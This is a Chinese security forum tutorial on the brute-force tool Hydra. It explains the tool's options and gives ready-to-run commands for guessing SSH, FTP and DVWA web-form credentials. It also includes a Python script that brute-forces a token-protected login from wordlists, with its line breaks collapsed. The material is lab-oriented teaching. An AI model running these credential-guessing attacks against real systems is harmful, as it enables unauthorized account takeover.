标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-2602] 作者: 闲云野鸡 发表于: [2020-03-06]
本文共 [571] 位读者顶过
Hydra 常见参数 破解SSH 破解FTP 破解HTTP 破解3389远程登录
[出自:jiwo.org]
Hydra是一款非常强大的暴力破解工具,它是由著名的黑客组织THC开发的一款开源暴力破解工具。Hydra是一个验证性质的工具,主要目的是:展示安全研究人员从远程获取一个系统认证权限。
目前该工具支持以下协议的爆破: 对于 HTTP,POP3,IMAP和SMTP,支持几种登录机制,如普通和MD5摘要等。 由于Kali中自带Hydra,所以怎么安装就不讲了,下面直接讲如何用它。
常见参数 · -R:继续从上一次进度接着破解 · -S:大写,采用SSL链接 · -s <PORT>:小写,可通过这个参数指定非默认端口 · -l <LOGIN>:指定破解的用户,对特定用户破解 · -L <FILE>:指定用户名字典 · -p <PASS>:小写,指定密码破解,少用,一般是采用密码字典 · -P <FILE>:大写,指定密码字典 · -e <ns>:可选选项,n:空密码试探,s:使用指定用户和密码试探 · -C <FILE>:使用冒号分割格式,例如“登录名:密码”来代替 -L/-P 参数 · -M <FILE>:指定目标列表文件一行一条 · -o <FILE>:指定结果输出文件 · -f :在使用-M参数以后,找到第一对登录名或者密码的时候中止破解 · -t <TASKS>:同时运行的线程数,默认为16 · -w <TIME>:设置最大超时的时间,单位秒,默认是30s · -v / -V:显示详细过程 · server:目标ip · service:指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等 · OPT:可选项 破解SSH hydra -L user.txt -P passwd.txt -o ssh.txt -vV -t 5 10.96.10.252 ssh #-L指定用户字典 -P 指定密码字典 -o把成功的输出到ssh.txt文件 -vV显示详细信息
破解FTP hydra -L user.txt -P passwd.txt -o ftp.txt -t 5 -vV 10.96.10.208 ftp #-L指定用户名列表 -P指定密码字典 -o把爆破的输出到文件 -t指定线程 -vV 显示详细信息
破解HTTP 我们拿DVWA测试破解HTTP,破解HTTP,需要分析数据包的提交格式 GET方式: ![]()
分析数据包,我们得到下面的命令
hydra -L user.txt -P passwd.txt -o http_get.txt -vV 10.96.10.208 http-get-form"/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect:H=Cookie: PHPSESSID=nvvrgk2f84qhnh43cm28pt42n6; security=low" -t 3 #前面那些参数就不说了,主要说一下引号里面的数据 /vulnerabilities/brute/ 代表请求目录,用:分隔参数,^USER^和^PASS^代表是攻击载荷,F=后面是代表密码错误时的关键字符串 ,H后面是cookie信息
POST方式:
分析数据包,得到下面的破解命令
hydra -L user.txt -P passwd.txt -t 3 -o http_post.txt -vV 10.96.10.183 http-post-form"/login.php:username=^USER^&password=^PASS^&Login=Login&user_token=dd6bbcc4f4672afe99f15b1d2c249ea5:S=index.php" #前面那些参数就不说了,主要说一下引号里面的数据 /login.php 代表请求目录,用:分隔参数,^USER^和^PASS^代表是攻击载荷,S等于的是密码正确时返回应用的关键字符串 但是新版的DVWA采用了token的验证方式,每次登录的token都是不一样的,所以不能用hydra来破解。目前,大多数网站登录都采用了token验证,所以,都不能使用Hydra来破解。
我们可以自己写一个python脚本来破解。
# -*- coding: utf-8 -*-"""Created on Sat Nov 24 20:42:01 2018@author: 小谢"""import urllibimport requestsfrom bs4 import BeautifulSoup ##第一步,先访问 http://127.0.0.1/login.php页面,获得服务器返回的cookie和tokendef get_cookie_token(): headers={'Host':'127.0.0.1', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Upgrade-Insecure-Requests':'1'} res=requests.get("http://127.0.0.1/login.php",headers=headers) cookies=res.cookies a=[(';'.join(['='.join(item)for item in cookies.items()]))] ## a为列表,存储cookie和token html=res.text soup=BeautifulSoup(html,"html.parser") token=soup.form.contents[3]['value'] a.append(token) return a ##第二步模拟登陆 def Login(a,username,password): #a是包含了cookie和token的列表 headers={'Host':'127.0.0.1', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Content-Length':'88', 'Content-Type':'application/x-www-form-urlencoded', 'Upgrade-Insecure-Requests':'1', 'Cookie':a[0], 'Referer':'http://127.0.0.1/login.php'} values={'username':username, 'password':password, 'Login':'Login', 'user_token':a[1] } data=urllib.parse.urlencode(values) resp=requests.post("http://127.0.0.1/login.php",data=data,headers=headers) return #重定向到index.phpdef main(): with open("user.txt",'r') as f: users=f.readlines() for user in users: user=user.strip("\n") #用户名 with open("passwd.txt",'r') as file: passwds=file.readlines() for passwd in passwds: passwd=passwd.strip("\n") #密码 a=get_cookie_token() ##a列表中存储了服务器返回的cookie和toke Login(a,user,passwd) headers={'Host':'127.0.0.1', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Upgrade-Insecure-Requests':'1', 'Cookie':a[0], 'Referer':'http://127.0.0.1/login.php'} response=requests.get("http://127.0.0.1/index.php",headers=headers) if response.headers['Content-Length']=='7524': #如果登录成功 print("用户名为:%s ,密码为:%s"%(user,passwd)) #打印出用户名和密码 breakif __name__=='__main__': main() 脚本运行截图
|